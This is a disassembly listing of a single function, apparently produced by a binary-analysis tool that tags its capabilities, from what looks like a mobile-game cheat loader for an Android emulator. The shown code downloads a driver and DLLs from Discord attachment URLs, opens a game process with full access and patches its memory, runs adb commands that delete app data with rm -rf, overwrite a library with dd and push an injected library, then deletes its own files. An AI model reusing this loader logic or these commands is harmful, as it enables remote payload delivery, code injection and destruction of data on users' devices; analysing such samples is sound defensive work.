Function at 0x4581f0
Capabilities:
Allocate or change rwx memory
Download url
Execute command
Execute shellcode via indirect call
Receive data
Self delete

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5bfa8d
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x647bb0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x44], ecx
sub esp, 0x18
mov ecx, esp
push 0x10
push str.adb_connect_5554
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.00456ba0
add esp, 0x18
mov dword [ebp - 0x3c], 0
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
push 0xb
push str.C:Hera.sys
call fcn.0045edb0
cmp dword [ebp - 0x28], 0x10
lea eax, [ebp - 0x3c]
push 0x634c64
cmovae eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 8
test eax, eax
je 0x45829d
push eax
call edi
add esp, 4
xor bl, bl
jmp 0x45829f
mov bl, 1
mov edx, dword [ebp - 0x28]
cmp edx, 0x10
jb 0x4582d5
mov ecx, dword [ebp - 0x3c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4582cb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4582cb
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005bb0da
add esp, 8
mov esi, dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test bl, bl
je 0x4582f1
push 0
push 0
push str.C:Hera.sys
push str.https:__cdn.discordapp.com_attachments_1150420982109048875_1155194556858511360_hookdrv.sys
push 0
call esi
push 0x1a
push str.C:Windowsgameloopexe.dll
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
call fcn.0045edb0
cmp dword [ebp - 0x28], 0x10
lea eax, [ebp - 0x3c]
push 0x634c64
cmovae eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x45833d
push eax
call edi
add esp, 4
xor bl, bl
jmp 0x45833f
mov bl, 1
mov edx, dword [ebp - 0x28]
cmp edx, 0x10
jb 0x458375
mov ecx, dword [ebp - 0x3c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x45836b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45836b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005bb0da
add esp, 8
test bl, bl
je 0x45838b
push 0
push 0
push str.C:Windowsgameloopexe.dll
push str.https:__cdn.discordapp.com_attachments_1168579366360465502_1174409181395173497_libigshare.so_ex65677cc8is655507c8hm8d0ec8b49559b3c0f8db6f0143c8093f862f4b87d530c794e790d17981a68054
push 0
call esi
push 0x17
push str.C:Windowsinjector.dll
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
call fcn.0045edb0
cmp dword [ebp - 0x28], 0x10
lea eax, [ebp - 0x3c]
push 0x634c64
cmovae eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x4583d7
push eax
call edi
add esp, 4
xor bl, bl
jmp 0x4583d9
mov bl, 1
mov edx, dword [ebp - 0x28]
cmp edx, 0x10
jb 0x45840f
mov ecx, dword [ebp - 0x3c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x458405
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x458405
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005bb0da
add esp, 8
test bl, bl
je 0x458425
push 0
push 0
push str.C:Windowsinjector.dll
push str.https:__cdn.discordapp.com_attachments_1168579366360465502_1172230266056605806_vn.so_ex655f8f82is654d1a82hm0b6cbb9902f4828338b77ecac6491261f4132a4ff8eb02c1d0692f1d6fda588c
push 0
call esi
mov dword [ebp - 0x18], 0x5e5ffff9
mov word [ebp - 0x14], 0xc35b
mov byte [ebp - 0x12], 0xe9
call fcn.0046ba80
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
push eax
push 0
push 0x1fffff
call esi
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
movq qword [ebp - 0x30], xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
lea eax, [ebp - 0x30]
mov dword [ebp - 4], 0
push eax
sub esp, 0x10
lea ecx, [ebp - 0x18]
call fcn.0046bb40
mov eax, dword [ebp - 0x2c]
add esp, 0x14
mov ecx, dword [ebp - 0x30]
sub eax, ecx
cmp eax, 4
jb 0x4584cc
mov edi, dword [ecx]
mov eax, ecx
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x28]
sub edx, ecx
and edx, 0xfffffffc
cmp edx, 0x1000
jb 0x4584c0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4584f9
push edx
push ecx
call fcn.005bb0da
add esp, 8
jmp 0x45850c
mov dword [ebp - 4], 0xffffffff
test ecx, ecx
je 0x458509
mov edx, dword [ebp - 0x28]
mov eax, ecx
sub edx, ecx
and edx, 0xfffffffc
cmp edx, 0x1000
jb 0x4584ff
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4584ff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005bb0da
add esp, 8
mov edi, dword [ebp - 0x40]
call fcn.0046ba80
push eax
push 0
push 0x1fffff
call esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea ecx, [ebp - 0x40]
push ecx
push 0x40
push 9
push edi
push eax
mov dword [0x64f730], eax
mov dword [ebp - 0x24], 0x5e5ffff9
mov dword [ebp - 0x20], 0x8c2c35b
mov byte [ebp - 0x1c], 0
call esi
push 0
push 9
lea eax, [ebp - 0x24]
push eax
push edi
push dword [0x64f730]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [ebp - 0x40]
push 9
push edi
push dword [0x64f730]
call esi
mov eax, dword [ebp - 0x44]
cmp eax, 1
jne 0x458665
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.adb_shell_rm__rf__data_data_com.tencent.ig_app_bugly
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.tencent.ig_databases
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.tencent.ig_app_crashrecord
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.tencent.ig_app_texures
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.tencent.ig_app_webview
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.tencent.ig_cache
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.tencent.ig_code_cache
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.tencent.ig_files
call esi
add esp, 4
call fcn.00456df0
sub esp, 0x18
mov ecx, esp
push 0x47
push str.adb_shell_dd_if_dev_zero_of_data_share1_libVOID.so_bs1024_count5754
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.00456ba0
mov ecx, esp
push 0x50
push str.adb_push_C:Windowsgameloopexe.dll__data_data_com.tencent.ig_lib_libmarsxlog.so
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.00456ba0
mov ecx, esp
push 0x48
push str.adb_shell_monkey__p_com.tencent.ig__c_android.intent.category.LAUNCHER_1
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.004579a0
add esp, 0x18
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.del__F_C:Windowsgameloopexe.dll
call esi
add esp, 4
jmp 0x458835
cmp eax, 2
jne 0x45874f
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_app_bugly
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_databases
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_app_crashrecord
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_app_texures
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_app_webview
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_cache
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_code_cache
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_files
call esi
add esp, 4
call fcn.00456df0
sub esp, 0x18
mov ecx, esp
push 0x5c
push str.adb_shell_dd_if_dev_zero_of_data_data_com.vng.pubgmobile_lib_libVOID.so_bs1024_count5754
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.00456ba0
mov ecx, esp
push 0x58
push str.adb_push_C:Windowsgameloopexe.dll.dll__data_data_com.vng.pubgmobile_lib_libmarsxlog.so
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.00456ba0
mov ecx, esp
push 0x48
push str.adb_shell_monkey__p_com.tencent.ig__c_android.intent.category.LAUNCHER_1
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.004579a0
mov ecx, esp
push 0x49
push str.adb_shell_am_start__n_com.vng.pubgmobile_com.epicgames.ue4.SplashActivity
jmp 0x45880d
cmp eax, 3
jne 0x45883f
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.adb_shell_rm__rf__data_data_com.pubg.imobile_app_bugly
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.pubg.imobile_databases
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.pubg.imobile_app_crashrecord
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.pubg.imobile_app_texures
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.pubg.imobile_app_webview
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.pubg.imobile_cache
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.pubg.imobile_code_cache
call esi
add esp, 4
push str.adb_shell_rm__rf__data_data_com.pubg.imobile_files
call esi
add esp, 4
call fcn.00456df0
sub esp, 0x18
mov ecx, esp
push 0x5a
push str.adb_shell_dd_if_dev_zero_of_data_data_com.pubg.imobile_lib_libVOID.so_bs1024_count5754
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.00456ba0
mov ecx, esp
push 0x4d
push str.adb_push_C:Windowsgameloopexe.dll.dll__data_data_imobile_lib_libmarsxlog.so
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.00456ba0
mov ecx, esp
push 0x47
push str.adb_shell_am_start__n_com.pubg.imobile_com.epicgames.ue4.SplashActivity
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0045edb0
call fcn.004579a0
push str.del__F_C:Windowsgameloopexe.dll.dll
call esi
add esp, 0x1c
push str.del__F_C:Windowsinjector.dll
call esi
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005badf4
mov esp, ebp
pop ebp
ret